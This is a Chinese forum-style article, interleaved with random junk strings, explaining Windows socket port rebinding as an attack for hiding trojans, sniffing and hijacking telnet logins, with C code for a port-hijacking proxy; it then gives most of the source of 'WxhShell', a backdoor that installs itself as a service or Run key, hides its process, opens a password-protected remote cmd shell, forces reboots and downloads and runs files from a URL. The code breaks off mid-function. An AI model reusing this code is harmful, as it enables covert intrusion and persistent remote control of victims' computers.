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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1xBg^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y8HwyU> K3; lst>4 saddr.sin_family = AF_INET; rUz-\H(- doX8Tq saddr.sin_addr.s_addr = htonl(INADDR_ANY); G
$F3dx.I San=E@3}v! bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #A:+|{H" ]N& Y25oT5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #GlQwk3 e@`"V,i 这意味着什么?意味着可以进行如下的攻击: ZCcKY6b sOf;I]E| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .{=|N8*py8 id" -eMwp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w,s++bV;L Ir,3' G 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -|FSdzvg @[2Go}VF 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 i3SrsVSG {9,!XiF.: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )-u0n], `\pv^#5HV9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9>OPaLn <'N(`.&3C 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4g%BCGsys kp$w)%2JW #include &Q>tV+* #include k^%Kw(/ #include q!O B?03n #include v90)G8|q DWORD WINAPI ClientThread(LPVOID lpParam); Ofm?`SE*| int main() IQm[,Fh { >QcIrq%= WORD wVersionRequested; Vzmw%f)_+ DWORD ret; Qm >x? WSADATA wsaData; =.Hq]l6+ BOOL val; $oo`]R_ SOCKADDR_IN saddr; K8R}2K-Y SOCKADDR_IN scaddr; m4r!Ck| int err; qb[UA5S\` SOCKET s; 2C&G'@> SOCKET sc; AWG;G+ int caddsize; O'i!}$=g HANDLE mt; O^L#(8bC DWORD tid; w y\0o wVersionRequested = MAKEWORD( 2, 2 ); sx]kH$ err = WSAStartup( wVersionRequested, &wsaData ); ?nwFc3qw if ( err != 0 ) { 5.TeH@( printf("error!WSAStartup failed!\n"); 3+uCTn0% return -1; C@ns`Eh8w } zT< P_l saddr.sin_family = AF_INET; ~Q3y3,x V9 J`LQ\0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wr~Ydmsf *?o`90HHP[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c?/R=/H saddr.sin_port = htons(23); |n/qJIE6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !4 =]@eFk { pVa9g)+z} printf("error!socket failed!\n"); 2K~<_.S return -1; ]}za } JK/VIu&! val = TRUE; /E32^o|,> //SO_REUSEADDR选项就是可以实现端口重绑定的 *%#Sa~iPo if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $-Yq?: { q-lejVS(g printf("error!setsockopt failed!\n"); 6`JY:~V" return -1; Ob~7r*q } -yJ%G1R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "N*bV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~M!9E]) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y;uQq-C P N6%wHNYZ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Mnx')([;W { S!r,p}; ret=GetLastError(); NU <K+k printf("error!bind failed!\n"); .IkQo`_s: return -1;
{}A1[Y| } 'Y;M% listen(s,2); 5X1z^( while(1) u &qFE=5: { u;/5@ADW caddsize = sizeof(scaddr); V0O6\)/. //接受连接请求 NE1n 9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %vZTD+i if(sc!=INVALID_SOCKET) 6oA2"!u^w { I%Yeq"5RB mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<}
BuU! if(mt==NULL) k7cM.<s! { QO;OeMQv% printf("Thread Creat Failed!\n"); P
=jRof$ break; :5DL&,,Q3 } ":meys6t# } Gkr?M^@K CloseHandle(mt); \kS:u}Ip! } oz[Mt
i* closesocket(s); H-g
CY|W WSACleanup(); +WTO_J7 return 0; qH9bo-6 } )a=58r07 DWORD WINAPI ClientThread(LPVOID lpParam) qZwqnH { tSf$`4 SOCKET ss = (SOCKET)lpParam; :g~X"C1s SOCKET sc; TaqqEL unsigned char buf[4096]; DKnlbl1^? SOCKADDR_IN saddr; rQLl[a long num; [~v1
DWORD val; CUI\:a- DWORD ret; K4w#}gzok //如果是隐藏端口应用的话,可以在此处加一些判断 +f"q^R IU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 6M^NZ0~J saddr.sin_family = AF_INET; _B6W:k|-7l saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iU1yJ= saddr.sin_port = htons(23); /9o
gg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hziPHuK9, { vvwQ/iJO4Q printf("error!socket failed!\n"); \nbGdka return -1; \96aHOk< } Py^fWQ5I~% val = 100; +v{g' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d [f,Nu' { aJ3.D ret = GetLastError(); 6>)oG6 return -1; +aoenUm5 } ?"Ec#,~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5fjL { 98ot{+/LK ret = GetLastError(); -`s_md0BM return -1; AbA_s I<; } J`d_=C?J if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ah2L8jN" { /JGET printf("error!socket connect failed!\n"); 3vC"Q!J& closesocket(sc); 4 >`2vb closesocket(ss); /73ANQ" return -1; {4^NZTjd@ } , #nYH D while(1) F~Sw-b kSf { m3']/}xHO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EpUBO}q] //如果是嗅探内容的话,可以再此处进行内容分析和记录 !l|fzS8g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *u ^m f~ num = recv(ss,buf,4096,0); 'i;/?'!W6 if(num>0) De^Uc send(sc,buf,num,0); #O,;3S else if(num==0) s,|"s|P break; Tg yY 9 num = recv(sc,buf,4096,0); |)[I$]L if(num>0) S(ky: send(ss,buf,num,0); \C &V)/ else if(num==0) H-C$Jy)f" break; ;%a } 8:gUo8 closesocket(ss); f =T-4Of closesocket(sc); w,!IvDCAw return 0 ; Y9r##r+ } H[ o > "@4 ~Iz{@Ep* l#|wF$J ========================================================== u.rFZu?E\ pybE0] 下边附上一个代码,,WXhSHELL #<o=W#[ X4dxH_@ ========================================================== n]x%xnt 8~j1 #include "stdafx.h" k}hTSL c_Lcsn #include <stdio.h> !e?2
x@J #include <string.h> vT{+Z\LL= #include <windows.h> khQ@DwO*\= #include <winsock2.h> C-tkYP
#include <winsvc.h> YwU[kr-i #include <urlmon.h> *o}7&Hw#9f (,I9| #pragma comment (lib, "Ws2_32.lib") p?V@P6h #pragma comment (lib, "urlmon.lib") ,JqCxb9 B6-1q&
E / #define MAX_USER 100 // 最大客户端连接数 E@/*eJ #define BUF_SOCK 200 // sock buffer qq'%9 #define KEY_BUFF 255 // 输入 buffer 8s9ZY4_ |7)oX #define REBOOT 0 // 重启 ;km ^ OO$ #define SHUTDOWN 1 // 关机 wB+X@AA ;2}wrX #define DEF_PORT 5000 // 监听端口 ;)23@6{R% $i|d=D&t #define REG_LEN 16 // 注册表键长度 A/TCJ#>l #define SVC_LEN 80 // NT服务名长度 CNl @8&R a&!K5( // 从dll定义API m"f3hd4D_q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %?m_;iv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6mmc{kw' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{v}BtZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Px?zih!6 HB*H%>L{"B // wxhshell配置信息 i5#4@ 4aC struct WSCFG { MG:eI?G/' int ws_port; // 监听端口 sH51 .JG char ws_passstr[REG_LEN]; // 口令 &2sfu0K int ws_autoins; // 安装标记, 1=yes 0=no ^E&WgXlb char ws_regname[REG_LEN]; // 注册表键名 0)]?@"j char ws_svcname[REG_LEN]; // 服务名 {NUI8AL46A char ws_svcdisp[SVC_LEN]; // 服务显示名 ["WWaCcx char ws_svcdesc[SVC_LEN]; // 服务描述信息 U28frRa char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "_
H9]}Q int ws_downexe; // 下载执行标记, 1=yes 0=no tLzb*U8'1w char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" E RjMe'q4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9?tG?b0 p+#]Jr }; 2*5pjd{Kt o@[oI\Vr! // default Wxhshell configuration vw6DHN)k struct WSCFG wscfg={DEF_PORT, R q`j|tY "xuhuanlingzhe", y`\rb<AZ*t 1, gTb%c84 "Wxhshell", .~,=?aq^ "Wxhshell", -T2w?| "WxhShell Service", O"~CZh,:r} "Wrsky Windows CmdShell Service", KnC:hus "Please Input Your Password: ", F$@(0c 1, _c>8y " http://www.wrsky.com/wxhshell.exe", 4SJb\R)XK "Wxhshell.exe" V`m9+<.1 b }; }v6@yU Zg$RiQ^-{J // 消息定义模块 \p#_D|s/Ep char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )x3p7t)# char *msg_ws_prompt="\n\r? for help\n\r#>"; W!V-m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ]([^(&2 char *msg_ws_ext="\n\rExit."; c0Yc~&RF char *msg_ws_end="\n\rQuit."; \:Q)X$6 char *msg_ws_boot="\n\rReboot..."; )Wy:I_F351 char *msg_ws_poff="\n\rShutdown..."; tt A'RJ char *msg_ws_down="\n\rSave to "; &AnWMFo (W
|;gQ char *msg_ws_err="\n\rErr!"; b6! 7j char *msg_ws_ok="\n\rOK!"; ^{a_:r" @_0tq { char ExeFile[MAX_PATH]; H;MyT Vl int nUser = 0; `r]C%Y4? HANDLE handles[MAX_USER]; -5Oy k, int OsIsNt; Ff1!+P, 8'M:uI SERVICE_STATUS serviceStatus; {a0yHy$H SERVICE_STATUS_HANDLE hServiceStatusHandle; IXpn(vX zy`T!
$ // 函数声明 r3dGXiu int Install(void); o>HU4O} int Uninstall(void); \V
T.bUs int DownloadFile(char *sURL, SOCKET wsh); rgF4 W8 int Boot(int flag); )]C(NTfxg void HideProc(void); d:{}0hmxI int GetOsVer(void); q!{>Nlk int Wxhshell(SOCKET wsl); nh+Hwj#(x void TalkWithClient(void *cs); 8cGoo u6 int CmdShell(SOCKET sock); Ey)ey-'\ int StartFromService(void); 1s.>_ int StartWxhshell(LPSTR lpCmdLine); (0["|h32, 7Y5.GW\^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N(%(B VOID WINAPI NTServiceHandler( DWORD fdwControl ); Jwpc8MQ %+oqAYm+s // 数据结构和表定义 fR]KXfZ SERVICE_TABLE_ENTRY DispatchTable[] = KNjU!Z/4 { BS3{TGn {wscfg.ws_svcname, NTServiceMain}, m(`O>zS {NULL, NULL} 6+4SMf3 }; <c$rfjM+JU iKu4s // 自我安装 L_q3m-x0h int Install(void) WAf"| { uH)?`I\zrd char svExeFile[MAX_PATH]; .'NTy
R HKEY key; g3f;JB strcpy(svExeFile,ExeFile); QUDpAW MzH'<`;BP // 如果是win9x系统,修改注册表设为自启动 MlR]+] if(!OsIsNt) { -vv_6ZL[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W;?e @} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OZEbs 7 RegCloseKey(key); intl?&wC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $b)t`r+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iK!FVKi} RegCloseKey(key); n`V? n return 0; D!z'Y,. } 2I283%xr } mpQu:i|W } =1y~Qlu else { dDa&:L 0U8'dYf // 如果是NT以上系统,安装为系统服务 v#?;PyeF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dZX;k0 if (schSCManager!=0) u4$R ZTC { fZcA{$Vc]N SC_HANDLE schService = CreateService }WhRJr`a ( 5fRr d; schSCManager, B$qTH5)W wscfg.ws_svcname, 'Fql;&U
> wscfg.ws_svcdisp, Q%524%f$ SERVICE_ALL_ACCESS, /vC!__K9: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }X. Fm'` SERVICE_AUTO_START, @^/aS;B$> SERVICE_ERROR_NORMAL, +ViL" svExeFile, {< EPm&q NULL, }rUAYr~V Z NULL, Tv6y+l NULL, 9bhubx\^/ NULL, =~5N/! NULL 5H1N]v+ ); _l+C0lQl= if (schService!=0) ?Qx4Z3n { w OOu/Y CloseServiceHandle(schService); j+e~
tCcN/ CloseServiceHandle(schSCManager); t+K1ArQc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); : ^U>n{ strcat(svExeFile,wscfg.ws_svcname); UA(4mbz+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @v3)N[|d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z$Le,+ RegCloseKey(key); qHT73_R return 0; } =Xlac_U } )5n:UD{f[# } Q @[gj:w CloseServiceHandle(schSCManager); B&_Z&H= } I0qJr2[X~ } I1rB,%p jo3(\Bq return 1; u-tD_UIck } v7Ps-a) R+_!FnOJ // 自我卸载 yz,0
S' U int Uninstall(void) H_Xk;fM { *Mb'y d/| HKEY key; 'oH3| :LlZ#V2 if(!OsIsNt) { A}}dc:$C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IZ\fvYp RegDeleteValue(key,wscfg.ws_regname); *}T|T%L4) RegCloseKey(key); 8_o~0lb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |5ge4,}0 RegDeleteValue(key,wscfg.ws_regname); 3rd8mh&l RegCloseKey(key); EJRkFn8XG' return 0; c&,q`_t } oz]&=>$1I } A\W)uwyN } tCm]1ZgRW else { Ftd,dqd 9|[uie SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nA{yH}D4 if (schSCManager!=0) _!!Fg%a5"R { 9_?e, Q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e6bh,BwgQq if (schService!=0) BoST?"&}' { \WbQS#Z9 if(DeleteService(schService)!=0) { DycXJ3eQ CloseServiceHandle(schService); F n iht< CloseServiceHandle(schSCManager); AJE$Z0{q return 0; w^("Pg` } U=7nz| CloseServiceHandle(schService); J#ClQ% } qS"#jxc==+ CloseServiceHandle(schSCManager); ]T)<@bmL } !d U$1:7 } ||.Hv[
]V* Iqn
(NOq^[ return 1; 7!h>
< sx } IF-y/] Jz3,vVfQ: // 从指定url下载文件 !s?SI=B8 int DownloadFile(char *sURL, SOCKET wsh) m(d|TwG{ { tK/.9qP HRESULT hr; L &hw-.Q char seps[]= "/"; >fth
iA char *token; s$?LMfT char *file; t1"#L_<e char myURL[MAX_PATH]; hvQXYo>TZx char myFILE[MAX_PATH]; %4Qs|CM)m i pl,{ strcpy(myURL,sURL); 6y1\ar(A token=strtok(myURL,seps); E/*&'Osq while(token!=NULL) cIG7Q"4 { "a}fwg9Y file=token; mF|KjX~s token=strtok(NULL,seps); )7[#Ti } u"m(a:jQ ^Il*`&+?P GetCurrentDirectory(MAX_PATH,myFILE); rf%VSxD9 strcat(myFILE, "\\"); p\F%Nj, strcat(myFILE, file); p!=O>b_f send(wsh,myFILE,strlen(myFILE),0); 7S&$M-k send(wsh,"...",3,0); D4{KU%Xp& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QxGcRlpLK if(hr==S_OK) %[s%H)e) return 0; R dwt4A+ else ^jUw4Dj~-q return 1; PgGUs4[ XPD1HN!,LT } ?@;)2B|q Hk@Gkx_ // 系统电源模块 K1BBCe int Boot(int flag) ciiI{T[Z { '21gUYm HANDLE hToken; )wCNLi>4 TOKEN_PRIVILEGES tkp; z7gX@@T CfSP*g0rW if(OsIsNt) { xE]y*\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D>@NYqMF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FKu8R%9xn% tkp.PrivilegeCount = 1; ed}#S~4q
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GGr82)E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2 \}J*0 if(flag==REBOOT) { %lWOW2~R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qP<D9k> return 0; SY[3O } LX oJw$C else { x.wDA3ys if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `>`b;A4 return 0; |:JT+a1 } Xa.8-a"hz } {,+c else { ^.\O)K {h if(flag==REBOOT) { M}# DX=NZc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H?8'( return 0; QDV+( } {?IbbT else { 9A} * if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #Xox2{~ return 0; FE&:? } \yFUQq: } wW1\{<hgr 4C%pKV return 1; <Nqbp } Es)|#0m\x@ Y$\|rD^f // win9x进程隐藏模块 matna void HideProc(void) X(MS!R V { '!8-/nlv1 ocJG4# HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RK &>!^ if ( hKernel != NULL ) *wj5( B<y { A$5M. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FA$32*v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rf:H$\yw FreeLibrary(hKernel); Q= xXj'W- } ){"?@1vP p^|l ',e return; ,&WwADZ-s } =urGs`\ vQK/xg // 获取操作系统版本 bIyg7X)/ int GetOsVer(void) \rzMgR$/rj { (BeJ,K7 OSVERSIONINFO winfo; 6`@J=Q? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #o4tG GetVersionEx(&winfo); -dBWpT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]kTxVe return 1; 3dj|jw5 else +jwHYfAK) return 0; `w\P- q } 9yC22C: tOLcnWt
// 客户端句柄模块 ZDbe]9#Xh int Wxhshell(SOCKET wsl) Q]/%Y[%| { n*=#jL SOCKET wsh; p\ ;|Z+0= struct sockaddr_in client; FZj>N( DWORD myID; k-=LD aW&)3C2-x while(nUser<MAX_USER) II}M|qHaK { iP"sw0V8 int nSize=sizeof(client); .E}lAd.Mn wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I"vkfi#= if(wsh==INVALID_SOCKET) return 1; X]D,kKasG DI{*E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ; s/<wx-C if(handles[nUser]==0) 4$pV;xV closesocket(wsh); }}QR' else 3>@VPMi nUser++; zZ8 *a\ } {XmCG%%L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); , i5 _4 WJnGF3G> return 0; @CmKF } X&?s:A u6ULk<<\ // 关闭 socket ()?83Xj[c void CloseIt(SOCKET wsh) LsuOmB| ^ { (jDz[b#OPz closesocket(wsh); }r5yAE nUser--; MkPQ@so ExitThread(0); UE.kR+1 } KaNs>[a8 ^x: lB> // 客户端请求句柄 3>aEP5 void TalkWithClient(void *cs) bPU
i44P {
r_#dh zR^Gy" SOCKET wsh=(SOCKET)cs; gYc]z5` char pwd[SVC_LEN]; Oti*"dV\:: char cmd[KEY_BUFF]; wc4BSJa,19 char chr[1]; j,+]tHC- int i,j; ]$[sfPKA {4G/HW28 while (nUser < MAX_USER) {
K%? g6j VIP7j(#t_g if(wscfg.ws_passstr) { =\WF +r]V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1^}I?PbqV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^U*y*l$
//ZeroMemory(pwd,KEY_BUFF); 2+
cs^M3 i=0; Szgo@x$^ while(i<SVC_LEN) { 6p)AQTh> Q,&Li+u| // 设置超时 5dj@N3ZX7; fd_set FdRead; a,c!#iyl3 struct timeval TimeOut; 9_?xAJ FD_ZERO(&FdRead); WK>|IgK FD_SET(wsh,&FdRead); ^Fco'nlM TimeOut.tv_sec=8; nTEN&8Y>R TimeOut.tv_usec=0; Gs,:$Im int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -SrZ^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F^75y? sI!H=bp-8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &xQM!f pwd =chr[0]; tbd=A]B- if(chr[0]==0xd || chr[0]==0xa) { tTLg;YjN pwd=0; ,|({[9jA break; kO}&Oi,? } @owneSD qN i++; }oRBQP^&K } T$xBH ;/j2(O^ // 如果是非法用户,关闭 socket >CqzC8JF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ukW&\ } FQDf?d5 9Rnypzds send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N7+L@CC6T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6QX m]<
.:r~?$( while(1) { ?dgyi4J?=` 0Ds3wNz ZeroMemory(cmd,KEY_BUFF); 20;9XJmjl !mmMAsd, // 自动支持客户端 telnet标准 (90/,@66l j=0; _fHml while(j<KEY_BUFF) { lT^su'+bk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8s0+6{vW cmd[j]=chr[0]; <W"W13*j! if(chr[0]==0xa || chr[0]==0xd) { O,Q.- cmd[j]=0; br[iRda@ break; Rm} ym9 } ^}_Ka //k j++; 7MKX`S } hzqJ! TN2Ln?[xU // 下载文件 ? nd:
:O if(strstr(cmd,"http://")) { kOYUxr.b send(wsh,msg_ws_down,strlen(msg_ws_down),0); w7V\_^&Id if(DownloadFile(cmd,wsh)) 7Q}pKq]P send(wsh,msg_ws_err,strlen(msg_ws_err),0); sS>b}u+v#! else %c }V/v_h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
9r!8BjA } ~zqb{o^pT else { /,Xl8<~# E7:xPNU switch(cmd[0]) { =:-fK-d @Jzk2,rI // 帮助 +xFn~b/ case '?': { *;o%*: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6p9fq3~7Y break; @NiuT%#c } #).$o~1ht! // 安装 fjh|V9H case 'i': { C$OVN$lL`8 if(Install()) 2%W;#oi? send(wsh,msg_ws_err,strlen(msg_ws_err),0); uzy5rA== else 9P?0D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pM?;QG;jA break; JE?rp1. } 3e_tT8 // 卸载 q<JCgO-F< case 'r': { $TI^8 3 if(Uninstall()) >HP
`B2Q
H send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7*!7EBb else utlr|m Xc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u\]EG{w( break; !_S#8" } ~||0lj.D // 显示 wxhshell 所在路径 6hxZ5&;(* case 'p': { kA:mB;: char svExeFile[MAX_PATH]; v/+ <YU strcpy(svExeFile,"\n\r"); Re$h6sh strcat(svExeFile,ExeFile); G;Li!H send(wsh,svExeFile,strlen(svExeFile),0); Nd~B$venh break; KGz Nj% } 1/.BP // 重启 A~?M`L>B case 'b': { ,i2- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ig,.>'+l if(Boot(REBOOT)) o*cu-j3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); cq1 5@a mX else {
qX\*lm/l closesocket(wsh); <xI<^r'C9e ExitThread(0); X?5{2ulrI } Hn|W3U break; O=B=0 } De?VZ2o9" // 关机 X0/slOT case 'd': { ;qshd'?* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `Ij@;=( if(Boot(SHUTDOWN)) ^q:-ZgM> send(wsh,msg_ws_err,strlen(msg_ws_err),0); b}[S+G-9W else { Y6` xb` closesocket(wsh); 1EyN
|m| ExitThread(0); k# [!; < } <LHhs<M' break; tW\yt~q, } "r9Rr_,
> // 获取shell YKyno?m case 's': { ;J%:DD CmdShell(wsh); s|=lKa]d!" closesocket(wsh); Q Be6\oq ExitThread(0); d>QFmsh- break; HBlk~eZ } 50,'z?-_ // 退出 !nv wRQ case 'x': { FY1iY/\Cn send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1-2hh) CloseIt(wsh); n(:<pz break; mUYRioNj } ZT0\V
]!B // 离开 HI.*xkBXl& case 'q': { %B s. XW, send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2~4:rEPJ: closesocket(wsh); AZj&;!} WSACleanup(); C/kf?:j exit(1); 3BFOZV+ break; 9/ <3mF@E } h0{X$&: } dSM\:/t } O0 'iq^g Un?|RF // 提示信息 @@65t'3S if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $J[( 3 } iC"iR\Qu } ){^J8]b7# WtT;y|W return; 8=8hbdy; } lx)^wAO4 @DN/]P // shell模块句柄 q+ax]=w int CmdShell(SOCKET sock) :U6`n { e4z`:%vy STARTUPINFO si; Z)?$ZI@ ZeroMemory(&si,sizeof(si)); <kh.fu@.Q si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -F 5BJk si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; honh'j PROCESS_INFORMATION ProcessInfo; $0])%
char cmdline[]="cmd"; iT]t`7R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rh>B#
\ return 0; $7x2TiAL } s8h*nZ)v +QChD* // 自身启动模式 #:K=zV\ int StartFromService(void) F/5&:e?( ) { 6= iHw24 typedef struct YQMWhC,8hy { (3Db}Hnn DWORD ExitStatus; I2[U #4n DWORD PebBaseAddress; (s};MdXIz DWORD AffinityMask; I"Oq< _ DWORD BasePriority; oPe|Gfv\G ULONG UniqueProcessId; x#1Fi$. ULONG InheritedFromUniqueProcessId; c~ss^[qx| } PROCESS_BASIC_INFORMATION;
RD$:. zakhJ PROCNTQSIP NtQueryInformationProcess; 2W AeSUX
